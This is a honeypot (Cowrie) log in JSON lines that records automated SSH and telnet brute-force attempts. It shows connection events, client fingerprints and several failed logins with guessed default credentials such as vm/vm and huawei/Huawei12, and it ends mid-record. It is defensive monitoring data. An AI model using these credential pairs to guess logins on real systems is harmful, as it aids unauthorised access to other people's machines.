{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46144,"dst_ip":"10.17.0.5","dst_port":23,"session":"02f04f6b7897","protocol":"telnet","message":"New connection: 152.42.224.71:46144 (10.17.0.5:23) [session: 02f04f6b7897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:06.875456Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39270,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2aefe824614","protocol":"ssh","message":"New connection: 176.65.132.129:39270 (159.203.135.109:22) [session: f2aefe824614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:07.948191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:07.953367Z","src_ip":"176.65.132.129","session":"f2aefe824614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:08.035499Z","src_ip":"176.65.132.129","session":"f2aefe824614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:08.281464Z","src_ip":"176.65.132.129","session":"f2aefe824614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:09.367114Z","src_ip":"176.65.132.129","session":"f2aefe824614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.209904193878174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:10.377694Z","src_ip":"152.42.224.71","session":"5fcd9d6ba7fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.24078059196472,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:10.977990Z","src_ip":"152.42.224.71","session":"12dd00c0a490","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39274,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd97023736d8","protocol":"ssh","message":"New connection: 176.65.132.129:39274 (159.203.135.109:22) [session: bd97023736d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:11.304462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:11.309581Z","src_ip":"176.65.132.129","session":"bd97023736d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:11.392493Z","src_ip":"176.65.132.129","session":"bd97023736d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:11.638921Z","src_ip":"176.65.132.129","session":"bd97023736d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:12.724676Z","src_ip":"176.65.132.129","session":"bd97023736d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39276,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e52d55151e1","protocol":"ssh","message":"New connection: 176.65.132.129:39276 (159.203.135.109:22) [session: 7e52d55151e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:14.547717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:14.553288Z","src_ip":"176.65.132.129","session":"7e52d55151e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:14.637383Z","src_ip":"176.65.132.129","session":"7e52d55151e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"123456","message":"login attempt [teamspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:14.893659Z","src_ip":"176.65.132.129","session":"7e52d55151e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46154,"dst_ip":"10.17.0.5","dst_port":23,"session":"8adb3595f010","protocol":"telnet","message":"New connection: 152.42.224.71:46154 (10.17.0.5:23) [session: 8adb3595f010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:15.313329Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:16.113868Z","src_ip":"176.65.132.129","session":"7e52d55151e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45092,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c967774a25a","protocol":"telnet","message":"New connection: 152.42.224.71:45092 (10.17.0.5:23) [session: 1c967774a25a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:16.266430Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33492,"dst_ip":"159.203.135.109","dst_port":22,"session":"85e343b594d1","protocol":"ssh","message":"New connection: 176.65.132.129:33492 (159.203.135.109:22) [session: 85e343b594d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:17.659146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:17.664518Z","src_ip":"176.65.132.129","session":"85e343b594d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:17.747329Z","src_ip":"176.65.132.129","session":"85e343b594d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:17.995320Z","src_ip":"176.65.132.129","session":"85e343b594d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45106,"dst_ip":"10.17.0.5","dst_port":23,"session":"90d153d05fa7","protocol":"telnet","message":"New connection: 152.42.224.71:45106 (10.17.0.5:23) [session: 90d153d05fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:18.170538Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:19.081277Z","src_ip":"176.65.132.129","session":"85e343b594d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45120,"dst_ip":"10.17.0.5","dst_port":23,"session":"655ec77ecc8e","protocol":"telnet","message":"New connection: 152.42.224.71:45120 (10.17.0.5:23) [session: 655ec77ecc8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:19.454330Z"}
{"eventid":"cowrie.session.closed","duration":49.2523717880249,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:20.351634Z","src_ip":"152.42.224.71","session":"b0ff165e7988","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33504,"dst_ip":"159.203.135.109","dst_port":22,"session":"d090d740dfe2","protocol":"ssh","message":"New connection: 176.65.132.129:33504 (159.203.135.109:22) [session: d090d740dfe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:21.041018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:21.049275Z","src_ip":"176.65.132.129","session":"d090d740dfe2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:21.126524Z","src_ip":"176.65.132.129","session":"d090d740dfe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"123456","message":"login attempt [mc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:21.451168Z","src_ip":"176.65.132.129","session":"d090d740dfe2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45130,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc7bded73ba8","protocol":"telnet","message":"New connection: 152.42.224.71:45130 (10.17.0.5:23) [session: fc7bded73ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:21.511858Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45142,"dst_ip":"10.17.0.5","dst_port":23,"session":"a85a34ffa368","protocol":"telnet","message":"New connection: 152.42.224.71:45142 (10.17.0.5:23) [session: a85a34ffa368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:22.202943Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:22.537291Z","src_ip":"176.65.132.129","session":"d090d740dfe2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33520,"dst_ip":"159.203.135.109","dst_port":22,"session":"093b308abdd0","protocol":"ssh","message":"New connection: 176.65.132.129:33520 (159.203.135.109:22) [session: 093b308abdd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:24.343182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:24.348044Z","src_ip":"176.65.132.129","session":"093b308abdd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:24.434253Z","src_ip":"176.65.132.129","session":"093b308abdd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:24.686606Z","src_ip":"176.65.132.129","session":"093b308abdd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:25.922130Z","src_ip":"176.65.132.129","session":"093b308abdd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":52874,"dst_ip":"10.17.0.5","dst_port":22,"session":"257aa48665ac","protocol":"ssh","message":"New connection: 103.122.221.179:52874 (10.17.0.5:22) [session: 257aa48665ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:27.237668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:27.242380Z","src_ip":"103.122.221.179","session":"257aa48665ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40534,"dst_ip":"159.203.135.109","dst_port":22,"session":"799fd507a23a","protocol":"ssh","message":"New connection: 176.65.132.129:40534 (159.203.135.109:22) [session: 799fd507a23a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:27.473841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:27.478971Z","src_ip":"176.65.132.129","session":"799fd507a23a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:27.498842Z","src_ip":"103.122.221.179","session":"257aa48665ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-g